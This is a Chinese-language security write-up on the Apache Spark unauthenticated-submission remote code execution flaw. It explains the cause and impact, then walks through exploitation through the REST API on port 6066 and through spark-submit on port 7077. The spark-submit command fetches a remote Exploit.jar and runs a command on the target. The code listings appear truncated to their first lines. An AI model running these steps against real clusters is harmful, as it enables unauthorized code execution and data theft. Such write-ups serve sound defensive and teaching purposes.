Apache-Spark未授权访问漏洞
Apache-Spark未授权访问漏洞
简介
Apache Spark 是一个开源的统一分析引擎,旨在大规模数据处理和高速计算。它最初由加州大学伯克利分校的 AMPLab 开发,并于2010年开源,随后在2013年进入Apache软件基金会孵化器,并在2014年成为顶级项目。Spark 以其在内存中处理数据的能力而闻名,可以大幅提高大数据分析的速度和效率。
漏洞原理
Apache Spark 未授权访问漏洞主要是由于 Spark 的默认配置或不安全配置导致未经授权的用户能够访问 Spark 的 Web UI 和 REST API,从而对集群进行未经授权的操作,本质上就是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。
漏洞危害
- 远程代码执行
攻击者可以通过该漏洞在受害系统上执行任意代码。这意味着攻击者可以执行恶意命令,运行恶意软件,或者访问和修改系统上的数据。
- 数据泄露
通过未授权访问,攻击者可以读取和窃取系统上的敏感数据。这可能包括用户数据、商业秘密、财务信息和其他敏感资料。
- 网络攻击的跳板
一旦攻击者获得了对某个系统的控制权,他们可以利用该系统作为跳板,对内部网络中的其他系统发起进一步的攻击。这可能包括横向移动(lateral movement)、扩大攻击范围以及对其他系统的进一步渗透。
- 资源滥用
攻击者可以利用受害系统的计算资源来进行恶意活动,例如加密货币挖矿。这会导致受害系统的性能下降,电力和计算资源被浪费,甚至可能导致系统过热和硬件损坏。
漏洞利用
Apache Spark 这款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码
该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。
提交方式有两种:
- 利用REST API
- 利用submissions网关(集成在7077端口中)
- 应用可以是Java或Python,就是一个最简单的类
1 | import java.io.BufferedReader; |
将其编译成JAR,放在任意一个HTTP或FTP上,如
https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
用REST API方式提交应用
standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:
1 | POST /v1/submissions/create |
其中,spark.jars
即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。
返回的包中有submissionId,然后访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout
,即可查看执行结果:
注意,提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口)。实战中,由于slave可能有多个。
- 利用submissions网关
如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。
方法是利用Apache Spark自带的脚本bin/spark-submit
:
1 | bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id |
如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。
查看结果的方式与前面一致。